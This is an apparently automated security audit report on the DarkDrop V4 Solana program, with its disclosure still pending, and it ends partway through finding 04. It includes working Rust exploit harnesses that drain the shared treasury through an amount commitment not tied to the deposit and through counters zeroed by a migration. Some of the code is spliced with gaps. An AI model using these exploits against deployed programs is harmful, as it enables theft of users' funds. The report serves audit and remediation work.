JELLEO Autonomous Solana audit
1 Critical confirmed · disclosure pending
Audit cycle · June 07, 2026

DarkDrop V4

Auditor
Kirill Sakharuk · kirill@jelleo.com
Target
DarkDrop V4
Audit date
June 07, 2026
Cycle
20260607-000000
Engine SHA
64e562b95d
Generated
2026-06-08T03:42:26+00:00
1
Critical
3
High
3
Medium
0
Low
3
Info
Confirmed · disclosed · fixed · verified
Signed · Ed25519
MCowBQYDK2VwAyEAvCFSLBecPuNClei48PWjHuelHlBX9uYZo4wELbQ7b+k=
verify with audit-pipeline sign verify <file> <file>.sig --pubkey jelleo.ed25519.pub
public key at https://jelleo.com/keys/jelleo.ed25519.pub
Platform · v0.1
JELLEO · The underwriting layer for Solana DeFi.

00 — Executive summary

This report documents the results of an autonomous Solana audit cycle run by Jelleo against the DarkDrop V4 workspace on June 07, 2026. The cycle identified 1 Critical, 3 High and 3 Medium findings after Layer 2.5 triage and root-cause clustering. Each finding includes an engine-direct proof-of-concept, a Kani-bounded model-checker proof where the formal layer ran, an on-chain BPF reproduction through LiteSVM, and an LLM-authored structural fix patch.

00.1 — Scope

In-scope source set
Target workspace DarkDrop V4
Protocol Solana BPF program
Engine commit 64e562b95d (64e562b95dad8a901b41f99028f9adba3c3c036e)
Source files
circuits/
darkdrop.circom note_pool.circom
program/programs/darkdrop/src/
errors.rs lib.rs merkle_tree.rs poseidon.rs state.rs verifier.rs vk.rs
program/programs/darkdrop/src/instructions/
admin_sweep.rs admin_sweep_spl.rs authority_rotation.rs claim_credit.rs claim_credit_spl.rs claim_from_note_pool.rs claim_from_note_pool_spl.rs close_receipt.rs create_drop.rs create_drop_spl.rs create_drop_to_pool.rs create_drop_to_pool_spl.rs create_treasury.rs deposit_to_note_pool.rs initialize.rs initialize_mint_config.rs initialize_mint_trees.rs initialize_mint_vault.rs initialize_note_pool.rs migrate_schema_v2.rs migrate_vault.rs mod.rs pause_deposits.rs revoke_drop.rs withdraw_credit.rs withdraw_credit_spl.rs
35 in-scope source files (Anchor program + Groth16 circuits).
Hypothesis library 137 invariant claim(s) covering authorization, arithmetic safety, accounting consistency, capability handling, event auditability, and oracle / time freshness
Out of scope Off-chain components (indexers, frontends, oracles); deployment scripts; framework / standard-library code; dependencies pinned in Cargo.toml beyond their declared interfaces.

01 — Per-finding analysis · contents

Each finding below begins on its own page. Numbering matches the FINDING NN / NN banner in the body. Click any row to jump.

  1. 01CriticalA deposited drop's Merkle leaf can encode any amount, with no on-chain check that it equals the SOL actually transferred — letting a tiny deposit withdraw an arbitrary sum from the shared treasurymissing-amount-binding
  2. 02HighThe note pool's "honest-by-construction" amount is rebuilt from the same unbound client commitment as the base layer, so a dishonest base note launders straight through itamount-binding-propagation
  3. 03Highmigrate_vault resets the solvency counters to zero, letting the authority sweep funds that back outstanding pre-migration dropssolvency-counter-desync
  4. 04HighPool-claim proof soundness depends on a dev-grade V3 trusted setup whose toxic waste was never discardedtrusted-setup
  5. 05MediumAnyone who lands the first initialize_vault transaction becomes the permanent vault authorityinit-front-running
  6. 06MediumRelayer marks the deposit nonce as permanently used before the on-chain create_drop is submitted, so a crash in that window strands already-received user fundsrelayer-liveness
  7. 07MediumPool-claim relay submits and pays for transactions doomed to revert because it skips the on-chain nullifier pre-check the base endpoint performsrelayer-gas-drain
  8. 08InfoVerified safe: admin_sweep / admin_sweep_spl floor arithmetic cannot be bricked by an over-withdrawal (investigated, not a finding)accounting-underflow
  9. 09InfoSPL deposit bounds are denominated in SOL lamports, not the mint's own base unitsspl-bounds-reuse
  10. 10InfoComment in claim_credit_spl claims pubkey_to_field is a local copy, but the file imports and calls the shared poseidon::pubkey_to_fieldstale-comment
FINDING 01 / 10
Critical L2-01 missing-amount-binding

A deposited drop's Merkle leaf can encode any amount, with no on-chain check that it equals the SOL actually transferred — letting a tiny deposit withdraw an arbitrary sum from the shared treasury

InvariantThe amount that becomes spendable (the value encoded inside the Merkle leaf, later proven via amount_commitment and paid at withdraw) MUST equal the value actually transferred into custody at deposit time. Equivalently: per-note withdrawable <= per-note deposited, and sum(withdrawable) <= sum(deposited) per asset.

ClusterThis finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is L2-01; co-occurring duplicates: c0. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

Affected code

Description

The protocol's core solvency invariant is: the amount that becomes spendable (the value encoded inside a Merkle leaf, later proven via amount_commitment and paid at withdraw) MUST equal the value actually transferred into custody when the drop was created. Equivalently, per note withdrawable <= deposited, and across all notes sum(withdrawable) <= sum(deposited) per asset. Because custody is a single shared treasury PDA, this is not a per-user constraint the depositor can only hurt themselves by breaking — it is a global solvency constraint whose violation is paid for by other users' funds.

handle_create_drop breaks this invariant by accepting the leaf as 32 opaque bytes with zero on-chain relationship to the transferred lamports:

The ZK circuit proves the leaf is well-formed, but only relative to a depositor-chosen amount. leaf = Poseidon(secret, nullifier, amount, blinding_factor) (darkdrop.circom:49-54), and amount_commitment = Poseidon(amount, blinding_factor) (darkdrop.circom:76-79). The only constraints on amount are that it is non-zero and fits in 64 bits (darkdrop.circom:81-90). The circuit therefore certifies that the leaf and the public amount_commitment agree on *some* value the depositor picked — it cannot and does not certify that this value equals the lamports moved on-chain, which the circuit never sees.

Downstream, every value decision uses the leaf-encoded amount, never the deposited one:

So a depositor can build leaf = Poseidon(secret, nullifier, 5_000_000_000, blinding) while passing amount = 10_000 to the transfer, and later withdraw 5 SOL for a 0.00001 SOL deposit. vault.drop_cap does not bound this — it only bounds the transfer parameter amount, not the hidden in-leaf value.

This was previously ACCEPTED as inherent to commitment mixers (their H-02). That framing is the finding: the acceptance reasons about a depositor harming their own deposit, but custody is shared and withdraw has no obligation floor, so the loss falls on *other* honest users. A correct fixed-denomination mixer sidesteps this by allowing exactly one amount per pool, so there is no hidden-amount degree of freedom; DarkDrop allows an arbitrary per-note amount with shared custody.

Impact

Layer 3 — Symbolic verification (Kani)

✓ Counterexample found (bug confirmed by symbolic execution)

Layer 4 — On-chain BPF reproduction

✓ Reproduced through deployed BPF instructions

Reproduction

PoC harness: poc/L2-01_h02_live.rs (LiteSVM, real built darkdrop.so, genuine Groth16 V2 proof generated by poc/snark/gen_h02_proof.mjs). Outcome: GREEN.

Proven result: treasury drained by ~A_big (5 SOL); attacker net gain ~A_big minus nullifier-PDA rent and base fees, for a 10,000-lamport deposit. The PoC asserts both drained >= A_big - 1 and attacker_gain > A_big - 5_000_000. Complementary L4 Kani harness proves the solvency invariant is violated. Because the attacker is the proof-bound recipient, no relayer or authority cooperation is needed; the theft per note is bounded only by current treasury liquidity (not by drop_cap), and the attack repeats across drops until the treasury is empty.

Recommended fix

Bind the in-leaf amount to the lamports actually transferred at deposit time, so the value that can later be withdrawn can never exceed what was custodied. Two concrete code-level options:

In addition, regardless of which option is chosen, add the missing per-asset obligation floor to the withdraw path as defense-in-depth: in withdraw_credit (and withdraw_credit_spl) require the post-withdraw drained total to respect total_withdrawn + amount <= total_deposited (mirroring the outstanding = total_deposited - total_withdrawn floor that admin_sweep.rs:20-23 already enforces). On its own this floor does not fully fix the bug — a dishonest leaf inflates total_deposited is not affected, but the floor caps sum(withdrawn) <= sum(deposited) so no more than the real aggregate custody can ever leave — it converts an unbounded per-note drain into a first-come bounded one and protects honest aggregate solvency. The amount-binding fix (option 1 or 2) is the root fix; the floor is the backstop.

Layer 2 — Concrete proof of concept (engine-direct)

// PoC L2-01 [Critical] — H-02 unbound-leaf shared-treasury drain, RUN END-TO-END
// in LiteSVM against the real built darkdrop.so with a GENUINE Groth16 V2 proof.
//
// Flow (all on the real program, real proof verified on-chain):
//   1. initialize_vault(drop_cap = 1 SOL)
//   2. attacker create_drop(dishonest_leaf, A_small = 10_000 lamports)
//        -> leaf encodes A_big = 5 SOL; only 10_000 lamports are transferred.
//   3. honest user create_drop(honest_leaf, 5 SOL)  -> funds the shared treasury.
//   4. attacker claim_credit(real V2 proof)  -> mints CreditNote committing to A_big.
//   5. attacker withdraw_credit(opening for A_big) -> drains 5 SOL of the honest
//        user's money from the shared treasury to the attacker.
//
// The proof + witness are generated by poc/snark/gen_h02_proof.mjs into
// h02_proof.json (set H02_JSON to its path). DARKDROP_SO -> built darkdrop.so.
//
// Run: H02_JSON=/abs/h02_proof.json DARKDROP_SO=/abs/darkdrop.so \
//        cargo test --test l2_01 -- --nocapture

use litesvm::LiteSVM;
use serde_json::Value;
use sha2::{Digest, Sha256};
use solana_sdk::{
    account::ReadableAccount,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    system_program,
    transaction::Transaction,
};
use std::str::FromStr;

const PROGRAM_ID_STR: &str = "GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU";
const SOL: u64 = 1_000_000_000;

fn disc(name: &str) -> Vec<u8> {
    let h = Sha256::digest(format!("global:{name}").as_bytes());
    h[..8].to_vec()
}
fn arr32(v: &Value) -> [u8; 32] {
    let a: Vec<u8> = v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect();
    a.try_into().unwrap()
}
fn vecb(v: &Value) -> Vec<u8> {
    v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect()
}

#[test]
fn h02_unbound_leaf_drains_shared_treasury() {
    let pid = Pubkey::from_str(PROGRAM_ID_STR).unwrap();
    let json_path = std::env::var("H02_JSON").expect("set H02_JSON");
    let j: Value = serde_json::from_str(&std::fs::read_to_string(&json_path).unwrap()).unwrap();

    let a_small: u64 = j["A_small"].as_str().unwrap().parse().unwrap();
    let a_big: u64 = j["A_big"].as_str().unwrap().parse().unwrap();
    let leaf = arr32(&j["leaf"]);
    let merkle_root = arr32(&j["merkle_root"]);
    let nullifier_hash = arr32(&j["nullifier_hash"]);
    let amount_commitment = arr32(&j["amount_commitment"]);
    let salt = arr32(&j["salt"]);
    let blinding = arr32(&j["blinding"]);
        program_id: pid,
        accounts: vec![
            AccountMeta::new(vault, false),
            AccountMeta::new(treasury, false),
            AccountMeta::new(credit_note, false),
            AccountMeta::new(attacker.pubkey(), false), // recipient (mut)
            AccountMeta::new(attacker.pubkey(), true),  // payer
            AccountMeta::new_readonly(system_program::ID, false),
        ],
        data: d,
    };
    send(&mut svm, ix, &attacker, &[&attacker]).expect("withdraw_credit drains treasury");

    let treasury_after = svm.get_account(&treasury).unwrap().lamports();
    let attacker_after = svm.get_account(&attacker.pubkey()).unwrap().lamports();

    let drained = treasury_before - treasury_after;
    let attacker_gain = attacker_after as i128 - attacker_before as i128;

    assert!(drained >= a_big - 1, "treasury must be drained by ~A_big (5 SOL)");
    // Attacker costs since `attacker_before`: claim pays NullifierAccount rent
    // (~0.0011 SOL, NOT returned) + CreditNote rent (returned on withdraw close)
    // + a few base tx fees. Net gain ~= A_big - those costs (the tiny A_small
    // deposit was already spent before attacker_before was sampled).
    let max_costs: i128 = 5_000_000; // generous: nullifier-PDA rent + fees
    assert!(
        attacker_gain > (a_big as i128) - max_costs,
        "attacker net gain should be ~A_big (5 SOL) minus nullifier rent + fees"
    );
    println!(

Layer P3 — Proposed structural fix (patch diff)

// F1 — H-02 fixed denomination (verified: poc/FIX_VERIFY_h02.rs GREEN)
// create_drop.rs / create_drop_to_pool.rs / deposit_to_note_pool.rs / withdraw_credit.rs
-    require!(amount <= ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap);
+    require!(amount == ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap);
// withdraw_credit.rs additionally adds the same `amount == drop_cap` gate after parsing the opening.
FINDING 02 / 10
High L2-02 amount-binding-propagation

The note pool's "honest-by-construction" amount is rebuilt from the same unbound client commitment as the base layer, so a dishonest base note launders straight through it

InvariantA note-pool leaf's amount must equal real custodied value. The MAP/SECURITY claim is that pool entry 'builds the leaf on-chain from the verified amount, so the pool layer is honest-by-construction' and is immune to H-02.

ClusterThis finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is L2-02; co-occurring duplicates: c1. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

Affected code

Description

The note pool was introduced as a second mixing layer that is *immune* to the base-layer dishonest-leaf problem (H-02 / Audit I-01). The in-code claim states this explicitly: deposit_to_note_pool "constructs the pool leaf ON-CHAIN using the VERIFIED amount … This eliminates the dishonest leaf problem (Audit I-01): the user cannot lie about the amount because the program opens and verifies the credit note commitment first" (deposit_to_note_pool.rs:12-19). The invariant the pool layer is supposed to uphold is: a note-pool leaf's encoded amount equals real custodied value, because it is derived from a "verified amount" rather than from an opaque client-chosen leaf.

That invariant does not hold, because the "verified amount" is verified against an attacker-chosen value, not against custody. The verification at deposit_to_note_pool.rs:56-64 opens credit_note.commitment:

original_commitment = Poseidon(amount_bytes, blinding_factor)   // :58-59
computed_commitment = Poseidon(original_commitment, salt)       // :60
require!(computed_commitment == credit.commitment)             // :61-64

It then treats the recovered amount as ground truth and builds the pool leaf from it (deposit_to_note_pool.rs:68-71):

pool_leaf = Poseidon4(pool_secret, pool_nullifier, amount_bytes, pool_blinding)

But credit.commitment did not originate from any custodied value. It was written at claim_credit.rs:62-67 as stored_commitment = Poseidon(amount_commitment, salt), where amount_commitment is the V2 public input parsed directly out of caller-supplied inputs[32..64] (claim_credit.rs:29). That amount_commitment is the H-02 unbound base-layer value: at deposit time create_drop transfers the instruction's amount parameter to the treasury (create_drop.rs:41-50) but appends a completely independent, client-chosen 32-byte leaf to the tree (create_drop.rs:56-58) with no on-chain comparison between the two. The V2 circuit only proves the leaf encodes *some* (amount, blinding) and that amount_commitment matches that in-leaf amount — it never sees the lamports actually moved.

So deposit_to_note_pool's "open and verify" step is sound only in the sense that it confirms the opening is consistent with a commitment that was itself never bound to real custody. The pool faithfully re-encodes a lie. The Poseidon math being correct at every hop is exactly what makes the laundering work: the dishonest amount passes the commitment check, becomes the on-chain pool leaf, survives V3, and is paid out.

The immunity is also asymmetric, and that nuance matters for the fix scope: create_drop_to_pool is genuinely honest because it encodes the literal CPI-transferred amount into the pool leaf on-chain. It is specifically the *migration* path — deposit_to_note_pool, which inherits an already-claimed base commitment — that propagates H-02. The blanket "the pool layer is immune to H-02" claim is overbroad; only one of the two entry points is honest-by-construction.

Impact

Layer 3 — Symbolic verification (Kani)

Layer 4 — On-chain BPF reproduction

✓ Reproduced through deployed BPF instructions

Reproduction

Proven end-to-end in LiteSVM against the real darkdrop.so with genuine V2 + V3 Groth16 proofs. PoC harness: poc/L2-02_pool_laundering_live.rs (test h02_laundered_through_note_pool_drains_treasury), GREEN.

Concrete steps as executed by the harness:

Proven result: treasury drained by ~A_big (5 SOL), attacker net gain ~A_big minus PDA rent and fees, off a 10,000-lamport deposit. The asserts at poc:193-194 hold. This directly disproves the deposit_to_note_pool.rs:12-19 immunity claim.

Dependency note: this is not independently exploitable — it requires the base-layer dishonest-leaf primitive (L2-01 / H-02). It is reported separately because the pool layer was specifically advertised as immune, and that advertised boundary is false: the migration path re-imports the base defect into the "honest" pool.

Recommended fix

There is one root fix that closes both L2-01 and this propagation: bind the in-leaf amount to the lamports actually transferred at deposit time. In create_drop (and create_drop_spl), do not accept an opaque client leaf. Instead reconstruct the leaf on-chain from the transferred amount, e.g. take the depositor's (secret, nullifier, blinding) and compute leaf = Poseidon4(secret, nullifier, u64_to_field_be(amount), blinding) using the same arity/order the V2 circuit constrains, then append that. This makes the base amount_commitment provably equal to custodied value, which in turn makes deposit_to_note_pool's "verified amount" genuinely verified, so the pool leaf can no longer encode an inflated value. This mirrors what create_drop_to_pool already does correctly (literal CPI amount into the leaf).

If reconstructing the base leaf on-chain is not feasible without a circuit change, the equivalent denomination-based mitigation is to fix one amount per pool (a correct mixer uses a single denomination per pool), so a leaf cannot encode an arbitrary value.

Defense-in-depth that should be added regardless of the root fix: enforce a withdrawal obligation floor in withdraw_credit so the treasury can never be debited below the sum of outstanding owed amounts (total_deposited - total_withdrawn), rather than only above the rent-exempt minimum (withdraw_credit.rs:115-121). That bounds the blast radius of any future value-binding gap. Finally, correct the immunity comment at deposit_to_note_pool.rs:12-19: deposit_to_note_pool is honest only to the extent its input commitment was bound to custody; it is not honest-by-construction the way create_drop_to_pool is.

Layer 2 — Concrete proof of concept (engine-direct)

// PoC L2-02 [High] — H-02 propagation: a DISHONEST base leaf (encoding A_big) is
// laundered through the "honest-by-construction" note pool and withdrawn, draining
// the shared treasury. Disproves the SECURITY.md claim that the pool layer is
// immune to H-02. Runs end-to-end in LiteSVM vs the real darkdrop.so with REAL
// V2 + V3 Groth16 proofs.
//
// Chain: initialize_vault -> initialize_note_pool -> attacker create_drop(dishonest
//   leaf, 10_000 lamports) -> honest deposits fund treasury -> claim_credit(V2) ->
//   deposit_to_note_pool (opens base note, builds pool leaf encoding A_big on-chain)
//   -> claim_from_note_pool(V3) -> withdraw_credit -> 5 SOL drained.
//
// Run: H02_JSON=/abs/l2_02_proof.json DARKDROP_SO=/abs/darkdrop.so \
//        cargo test --test l2_02 -- --nocapture

use litesvm::LiteSVM;
use serde_json::Value;
use sha2::{Digest, Sha256};
use solana_sdk::{
    account::ReadableAccount,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    system_program,
    transaction::Transaction,
};
use std::str::FromStr;

const PROGRAM_ID_STR: &str = "GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU";
const SOL: u64 = 1_000_000_000;

fn disc(name: &str) -> Vec<u8> { Sha256::digest(format!("global:{name}").as_bytes())[..8].to_vec() }
fn arr32(v: &Value) -> [u8; 32] {
    let a: Vec<u8> = v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect();
    a.try_into().unwrap()
}
fn vecb(v: &Value) -> Vec<u8> { v.as_array().unwrap().iter().map(|x| x.as_u64().unwrap() as u8).collect() }

#[test]
fn h02_laundered_through_note_pool_drains_treasury() {
    let pid = Pubkey::from_str(PROGRAM_ID_STR).unwrap();
    let j: Value = serde_json::from_str(
        &std::fs::read_to_string(std::env::var("H02_JSON").expect("set H02_JSON")).unwrap(),
    ).unwrap();

    let a_small: u64 = j["A_small"].as_str().unwrap().parse().unwrap();
    let a_big: u64 = j["A_big"].as_str().unwrap().parse().unwrap();
    let base_leaf = arr32(&j["base_leaf"]);
    let base_root = arr32(&j["base_merkle_root"]);
    let nullifier_hash = arr32(&j["nullifier_hash"]);
    let amount_commitment = arr32(&j["amount_commitment"]);
    let salt = arr32(&j["salt"]);
    let blinding = arr32(&j["blinding"]);
    let (v2a, v2b, v2c) = (vecb(&j["v2_proof_a"]), vecb(&j["v2_proof_b"]), vecb(&j["v2_proof_c"]));
    let pool_secret = arr32(&j["pool_secret"]);
    let pool_nullifier_param = arr32(&j["pool_nullifier_param"]);
    let pool_blinding = arr32(&j["pool_blinding"]);
    let pool_root = arr32(&j["pool_merkle_root"]);
    let pool_nullifier_hash = arr32(&j["pool_nullifier_hash"]);
    let new_stored_commitment = arr32(&j["new_stored_commitment"]);
    let new_blinding = arr32(&j["new_blinding"]);
    d.extend_from_slice(&pool_nullifier_hash);
    d.extend_from_slice(&v3a); d.extend_from_slice(&v3b); d.extend_from_slice(&v3c);
    let mut pinputs = Vec::new(); pinputs.extend_from_slice(&pool_root); pinputs.extend_from_slice(&new_stored_commitment);
    d.extend_from_slice(&(pinputs.len() as u32).to_le_bytes()); d.extend_from_slice(&pinputs);
    send(&mut svm, Instruction { program_id: pid, accounts: vec![
        w(vault), w(note_pool), ro(note_pool_tree), w(pool_credit), w(pool_nullifier_acct),
        ro(attacker.pubkey()), AccountMeta::new(attacker.pubkey(), true), ro(system_program::ID)],
        data: d }, &attacker, &[&attacker], "claim_from_note_pool V3");

    // 8. attacker withdraw_credit on the pool note (caller-salt fallback opens it)
    //    opening(72) = A_big LE ++ new_blinding ++ new_salt
    let mut wopen = Vec::new(); wopen.extend_from_slice(&a_big.to_le_bytes());
    wopen.extend_from_slice(&new_blinding); wopen.extend_from_slice(&new_salt);
    let mut d = disc("withdraw_credit");
    d.extend_from_slice(&pool_nullifier_hash);
    d.extend_from_slice(&(wopen.len() as u32).to_le_bytes()); d.extend_from_slice(&wopen);
    d.extend_from_slice(&0u16.to_le_bytes());
    send(&mut svm, Instruction { program_id: pid, accounts: vec![
        w(vault), w(treasury), w(pool_credit), AccountMeta::new(attacker.pubkey(), false),
        AccountMeta::new(attacker.pubkey(), true), ro(system_program::ID)],
        data: d }, &attacker, &[&attacker], "withdraw_credit");

    let treasury_after = svm.get_account(&treasury).unwrap().lamports();
    let attacker_after = svm.get_account(&attacker.pubkey()).unwrap().lamports();
    let drained = treasury_before - treasury_after;
    let gain = attacker_after as i128 - attacker_before as i128;

    assert!(drained >= a_big - 1, "treasury must be drained by ~A_big via the pool");
    assert!(gain > (a_big as i128) - 10_000_000, "attacker net gain should be ~A_big (minus PDA rent + fees)");
    println!(

Layer P3 — Proposed structural fix (patch diff)

// Closed by F1 (same root fix as Finding 01 — one fix closes both L2-01 and L2-02).
// The denomination gate added to deposit_to_note_pool.rs AND withdraw_credit.rs blocks the
// laundering path: a dishonest base note (amount != drop_cap) cannot enter the pool or be withdrawn.
-    require!(amount <= ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap); // deposit_to_note_pool
+    require!(amount == ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap);
// Verified: poc/FIX_VERIFY_h02.rs GREEN (the L2-02 chain is blocked once F1 is applied).
FINDING 03 / 10
High L2-03 solvency-counter-desync

migrate_vault resets the solvency counters to zero, letting the authority sweep funds that back outstanding pre-migration drops

InvariantAfter migrating in the solvency counters, total_deposited must reflect ALL funds currently custodied on behalf of outstanding (unclaimed/unwithdrawn) drops, so admin_sweep's floor never permits sweeping user-owed lamports.

ClusterThis finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is L2-03; co-occurring duplicates: c2. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

Affected code

Description

admin_sweep is the only thing standing between the vault authority and user funds. It is supposed to let the authority withdraw *excess* treasury lamports while reserving everything owed to outstanding (unclaimed/unwithdrawn) drops. The reservation floor is computed from the V2 solvency counters:

The load-bearing invariant is: after the V2 counters are introduced on a vault, total_deposited must reflect all lamports currently custodied on behalf of outstanding drops, so the floor never permits sweeping user-owed funds.

migrate_vault breaks this invariant. It is the one-time handler that reallocates a legacy (pre-V2) Vault account from 97 bytes to the 113-byte V2 layout and populates the two new fields. It writes them as hard zeros, unconditionally:

let td_offset = Vault::SIZE - 16; // total_deposited
let tw_offset = Vault::SIZE - 8;  // total_withdrawn
vault_data[td_offset..td_offset + 8].copy_from_slice(&0u64.to_le_bytes());
vault_data[tw_offset..tw_offset + 8].copy_from_slice(&0u64.to_le_bytes());

The legacy 97-byte vault had no deposit counter (total_deposited / total_withdrawn were added in V2 — state.rs:88-91). But legacy create_drop calls still moved real SOL into the shared treasury for each drop (create_drop.rs:41-50 transfers amount into the [b"treasury"] PDA), and those lamports remain custodied for any drop that has not yet been claimed/withdrawn. By writing total_deposited = 0, the migration discards the record of that custody. Immediately post-migration, admin_sweep computes outstanding = 0 - 0 = 0 and reserves only the treasury rent-exempt minimum — so it will hand the authority every lamport backing the pre-migration unclaimed drops.

Note this is genuinely a *partial-migration desync*, not a re-runnable reset: migrate_vault.rs:30 (require!(old_len < Vault::SIZE, AlreadyMigrated)) blocks re-invocation once the account is at V2 size, and a fresh initialize_vault already produces a 113-byte vault that this same guard rejects. The bug is therefore confined to — but fully live on — exactly the upgrade path the handler exists to serve.

Impact

Layer 3 — Symbolic verification (Kani)

✓ Counterexample found (bug confirmed by symbolic execution)

Layer 4 — On-chain BPF reproduction

✓ Reproduced through deployed BPF instructions

Reproduction

PoC harness: poc/L2-03_migrate_vault_sweep_floor/src/lib.rs (LiteSVM, loads the real darkdrop.so built via cargo build-sbf). Two tests — the exploit and a negative control — both GREEN. L4 Kani additionally proves the floor under honest counters.

Exploit test migrate_vault_zeroes_floor_then_admin_sweep_drains_user_funds:

Proven post-state:

Negative control control_honest_counters_block_the_sweep isolates the migration as the cause: same admin_sweep, same treasury balance, but an already-migrated V2 vault whose total_deposited honestly equals the 12.5 SOL custody. admin_sweep is refused — it fails on the obligation floor (ZeroAmount / InsufficientBalance), the treasury is untouched, and the test explicitly asserts the failure is *not* a discriminator/deserialization mismatch (which would be a false-negative control). Only the migration zeroing enables the drain.

Recommended fix

Do not initialize the counters to zero. The migration must reconstruct the true outstanding custody so the floor stays honest across the upgrade. Concretely, in migrate_vault.rs:54-59, set total_deposited to the lamports the treasury already holds on behalf of outstanding drops and total_withdrawn to 0, so that outstanding = total_deposited - total_withdrawn equals real custody from the first post-migration block:

In either case, keep the existing AlreadyMigrated size guard so the seeding runs exactly once and can never re-zero an already-correct counter. As defense in depth, consider having migrate_vault set paused/disable admin_sweep until an authority explicitly confirms the migrated counters, so a mis-seeded migration cannot be immediately followed by a sweep.

Layer 2 — Concrete proof of concept (engine-direct)

//! L2-03 [High] — `migrate_vault` zeroes the solvency counters, letting the
//! authority `admin_sweep` user-owed lamports (sweep-floor understatement).
//!
//! ───────────────────────────────────────────────────────────────────────────
//! WHAT THIS PROVES
//! ───────────────────────────────────────────────────────────────────────────
//! On a deployment that operated BEFORE the V2 counter fields existed — the
//! exact target `migrate_vault` is written for (see migrate_vault.rs:5-9 doc
//! comment and the `old_len < Vault::SIZE` guard at :30) — the Vault account on
//! chain is the V1 layout (97 bytes: disc + bump + authority + total_drops +
//! total_claims + drop_cap + merkle_tree), with NO `total_deposited` /
//! `total_withdrawn` fields, while the Treasury already custodies real lamports
//! backing pre-migration UNCLAIMED drops.
//!
//! The authority then:
//!   1. calls `migrate_vault`  -> handler writes total_deposited = 0,
//!                                 total_withdrawn = 0  (migrate_vault.rs:54-59)
//!   2. calls `admin_sweep`    -> floor = total_deposited - total_withdrawn = 0
//!                                 (admin_sweep.rs:20-32), so sweep_amount =
//!                                 treasury_balance - rent_exempt_min, i.e. the
//!                                 authority drains ALL lamports that back the
//!                                 outstanding (unclaimed) drops.
//!
//! Post-state asserted:
//!   * treasury lamports == rent_exempt_min (drained to the floor)
//!   * authority balance increased by ~= OUTSTANDING_LAMPORTS (minus tx fees)
//!   * the outstanding depositors/claimants can no longer be paid: the lamports
//!     that were their custody are now in the attacker (authority) wallet.
//!
//! ───────────────────────────────────────────────────────────────────────────
//! GROUND TRUTH (read from HEAD)
//! ───────────────────────────────────────────────────────────────────────────
//! Program id              : GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU
//! Vault PDA seeds         : [b"vault"]                       (state.rs:73)
//! Treasury PDA seeds      : [b"treasury"]                    (state.rs:183)
//! Vault::SIZE (V2)        : 113 bytes                        (state.rs:95-103)
//! Vault V1 size (no ctrs) : 97 bytes  (113 - 16)
//! Treasury::SIZE          : 9 bytes                          (state.rs:190)
//! Vault field offsets     : disc 0..8, bump 8, authority 9..41, total_drops
//!                           41..49, total_claims 49..57, drop_cap 57..65,
//!                           merkle_tree 65..97, [V2: total_deposited 97..105,
//!                           total_withdrawn 105..113]
//!
//! migrate_vault accounts  (#[derive(Accounts)] MigrateVault, migrate_vault.rs:65)
//!   [0] vault            AccountInfo, mut                    (raw)
//!   [1] authority        Signer, mut
//!   [2] system_program   Program<System>
//!   args: none
//!
//! admin_sweep accounts    (#[derive(Accounts)] AdminSweep, admin_sweep.rs:62)
//!   [0] vault            Account<Vault>, seeds=[b"vault"], has_one=authority
//!   [1] treasury         Account<Treasury>, mut, seeds=[b"treasury"]
//!   [2] authority        Signer, mut
//!   args: none
//!
//! Anchor discriminators (sha256("global:<name>")[..8]):
//!   initialize_vault = [48,191,163,44,71,129,63,164]
//!   migrate_vault    = [139,151,25,211,120,164,24,215]
//!   admin_sweep      = [98,231,31,170,146,98,102,35]
//! Account discriminator sha256("account:Vault")[..8] = [211,8,232,43,2,152,117,119]
    let sweep_ix = Instruction {
        program_id: pid,
        accounts: vec![
            AccountMeta::new_readonly(vault_pda, false),
            AccountMeta::new(treasury_pda, false),
            AccountMeta::new(authority.pubkey(), true),
        ],
        data: DISC_ADMIN_SWEEP.to_vec(),
    };
    let bh = svm.latest_blockhash();
    let sweep_tx = Transaction::new_signed_with_payer(
        &[sweep_ix],
        Some(&authority.pubkey()),
        &[&authority],
        bh,
    );
    let res = svm.send_transaction(sweep_tx);
    let err = format!("{:?}", res.unwrap_err());
    // Must fail for the RIGHT reason — the obligation floor (ZeroAmount /
    // InsufficientBalance), NOT an account-deserialization mismatch. A pass on
    // the wrong error would be a false negative for the control.
    assert!(
        (err.contains("ZeroAmount") || err.contains("InsufficientBalance")),
        "control must fail on the floor, got: {err}"
    );
    assert!(
        !err.contains("Discriminator") && !err.contains("AccountDiscriminator"),
        "control failed on a discriminator mismatch (harness bug, not the floor): {err}"
    );

Layer P3 — Proposed structural fix (patch diff)

// F2 — migrate_vault reconstructs counters from treasury (verified: poc/FIX_VERIFY_migrate.rs GREEN)
-    vault_data[td_offset..td_offset+8].copy_from_slice(&0u64.to_le_bytes());
+    let outstanding = treasury_balance.saturating_sub(Rent::get()?.minimum_balance(Treasury::SIZE));
+    vault_data[td_offset..td_offset+8].copy_from_slice(&outstanding.to_le_bytes());
// + add the `treasury` account to MigrateVault.
FINDING 04 / 10
High L2-04 trusted-setup

Pool-claim proof soundness depends on a dev-grade V3 trusted setup whose toxic waste was never discarded

InvariantThe V3 verifying key must be the product of a sound multi-party ceremony and the note_pool circuit must constrain (amount range, leaf binding, nullifier, commitment, recipient) such that no malformed proof verifies.

Affected code

Description

